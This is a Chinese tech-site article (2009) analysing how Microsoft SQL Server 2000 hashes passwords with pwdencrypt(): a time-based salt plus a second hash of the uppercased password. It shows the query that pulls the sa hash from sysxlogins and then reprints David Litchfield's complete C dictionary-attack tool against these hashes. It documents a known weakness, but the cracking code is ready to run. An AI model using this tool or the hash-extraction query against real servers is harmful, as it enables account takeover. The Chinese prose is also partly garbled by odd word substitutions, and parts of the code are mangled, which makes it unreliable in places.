破解MSSQL中的HASH密码pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范破解MSSQL中的HASH密码

破解MSSQL中的HASH密码


2009/3/30  编辑:佚名 来源:本站整理  关键词:

破解MSSQL中的HASH密码

 

SQL服务器是怎样储存密码的?

SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。 可以通过研究我们我自己可以能够发

现这个hash储存就在mater数据信息库的sysxlogins表里面。 这个有可能已经是众所周知的事情了。

pwdencrypt()函数还没有公布详细的资料, 我们我自己这份文档将详细对这个函数来进行讨论, 并将指出sql

服务器储存hash的这种方法的一些不足之处。 实际上, 等下我将会说‘密码hashes’。 (allyesno:后

文会讨论到, 由于时间的关系即便当密码相同的时候生成的hash也并不是唯一一个, 所以是hashes)

SQL的密码hash看起来是怎样的呢?

我们我自己使用查询分析器, 或者任意一个一个SQL客户端来执行这条语句:

select password from master.dbo.sysxlogins where name='sa'

屏幕会返回类似下面这行字符串的东东。

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA

954AFF4057056D9B

这是我机子上登录密码的hash。

可以通过分析hash我们我自己可以能够从中获取pwdencrypt()的一些什么信息?

1.时间

最先是我们我自己使用查询 select pwdencrypt() 来生成hash

select pwdencrypt('ph4nt0m')

生成hash

0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D

4B8279BA19EFE77

ok再一次 select pwdencrypt('ph4nt0m')

0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB85

4FB343F3DBB106CFB

我们我自己提醒一定要注意到, 虽然两次我们我自己加密的字符串都是ph4nt0m但是生成的hash却不一样。

那么是什么使两次hash的结果不一样呢, 我们我自己大胆的推测是时间就在这里面起到了关键的作用,

它是建造密码hashes和储存hashes的重要因素。 之所以使用这样的方式,

是因为当两个人输入同样的密码时可以能够以此产生不同的密码hashes用来掩饰他们的密码是相同的。

2.大小写(广告时间:英汉网络net技术词汇这本字典好, 翻译的时候很多金山词霸找不到的东西, 它

都能弄出来)

使用查询

select pwdencrypt('ALLYESNO')

我们我自己将得到hash

0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91

可以通过观察, 我们我自己可以能够发现这段hash中有两段是相同的, 如果您不能够马上看出来, 让我们我自己把它截断来
看。

0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)

现就在我们我自己可以能够看出来最后两组字符串是一模一样的了。 这说明这段密码被相同的加密方式来进行了两

次加密。 一组是按照字符原型来进行加密, 另一组是按照字符的大写形式来进行了加密。 当有人尝试破

解SQL密码的时候将会比他预期要容易, 这是一个糟糕的加密方式。 因为破解密码的人不有请求需要理会字

符原型是大写还是小写, 他们只有请求需要破解大写字符就可以能够了。 这将很大很大减少了破解密码者所有请求需要破

解密码的字符数量。 (allyesno:flashsky的文章《浅谈SQL SERVER数据信息库口令的脆弱性》中曾经

提到“如因为其算法一样, 如果HASH1=HASH2, 就可以能够判断口令肯定是未使用字母, 只使用了数字和

符号的口令”。 实际上并不如flashsky所说的完全相同, 我们我自己使用了select pwdencrypt()来进行加密

以后就可以能够发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同, 所以这是flashsky

文章中一个小小的bug)


补充key

根据记录上文所述, 当时间改变的时候也会使得hash改变, 就在hash中有一些跟时间有关联系的信息使得密

码的hashes不相同, 这些信息是很容易获取的。 当我们我自己登录的时候依靠从登录密码中和数据信息库中储

存的hash信息, 就可以能够做一个比较从而分析出这部分信息, 我们我自己可以能够把这部分信息叫做补充key。

上文中我们我自己获取的hash中, 补充key 4C61CD2D 就是这个信息的一部分。

这个key 4C61CD2D 由以下阐述的方法生成。

time()C 函数被调用作为一个种子传递给srand()函数。 一旦srand()函数被作为rand()函数的种子

并且被调用生成伪随机key, srand()就一定会布置设置了一个起点产生一系列的(伪)随机key。 之后sql

服务器会将这个key截断取一部分, 放置就在内存里面。 我们我自己叫它key1。 这个过程将会再运行一次并

生成另一个key我们我自己叫他key2。 两个key连就在一起就生成了我们我自己用来加密密码的补充key。

密码的散列法

用户的密码会被转换成UNICODE形式。 补充key会添加到他们后面。 例如以下所示:

{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}

上面的字符串将会被sql服务器使用pwdencrypt()函数来进行加密(这个函数位于advapi32.dll)。 生

成两个hash

0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)

验证过程

用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候, SQL服务器就在数据信息库中调用上面例


子中的补充key4C61CD2D, 将其附加就在字符串“ALLYESNO”的后面, 之后使用pwdencrypt()函数来进行加

密。 之后把生成的hash跟数据信息库内的hash来进行对比, 以此来验证用户输入的密码是否对的。

SQL服务器密码破解

我们我自己可以能够使用同样的方式去破解SQL的密码。 当然我们我自己会最先是选择中使用大写字母和符号做为字典来进行

破解, 这比猜测小写字母要来得容易。

一个命令行的MSSQL服务器HASH破解必备工具源代码

/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////

#i nclude <stdio.h>
#i nclude <windows.h>
#i nclude <wincrypt.h>

FILE *fd=NULL;
char *lerr = "\nLength Error!\n";

int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);

int main(int argc, char *argv[])
{
int err = 0;

if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");
return 0;
}

err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);

fclose(fd);
printf("\n\n%d",wd);

return 0;
}

int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}

int CrackPassword(char *hash)
{

char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;

if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}

if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);

hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);

hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);

hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);

strncpy(pucfirst,pucase,2);

sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}

printf("\n\n Trying...\n");

if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,

NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}

}

}

while(1)
{

// get a word to try from the file
ZeroMemory(wttf,44);

if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn't find the password.\n");

wd++;

len = strlen(wttf);
wttf[len-1]=0x00;

ZeroMemory(uwttf,84);

// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;

wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;

// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;

uwttf[cnt]=x;
cnt++;

t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;

t = key << 16;
t = t >> 24;
x = (unsigned char) t;

uwttf[cnt]=x;
cnt++;

t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;

// Create the hash

if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}

if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}

CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);

// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{

// We've found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;

}
}

count = 0;
cnt=0;

}

return 0;
}

相关文章
  • 王者荣耀的健康游戏防沉迷系统破解
  • 网友自称破解埃及金字塔建造之谜:金字塔只有几百年历史而且是混凝土浇灌的,引...
  • 王者荣耀防沉迷解除方法 最新防沉迷系统怎么破解
  • 复活岛上用鲨鱼牙齿雕刻的象形文字,到现在仍无法被破解
  • 罗布泊的太阳墓地秘密, 也许已被彭加木破解
  • 破解古卷轴之谜!金属印墨显示出古希腊罗马有先进科技
  • 月球发现地球岩石 拥有同样数量钛或破解地球起源
  • 百度网盘最新版5.5.5破解补丁,亲测可用
  • S8虹膜识别遭破解,三星两次回应力挺自家技术
  • 退休建筑工人破解3000年老巨石阵的秘密
  • 发表评论
    阅读排行
    相关热门
    网站帮助 - 广告合作 - 下载声明 - 网站地图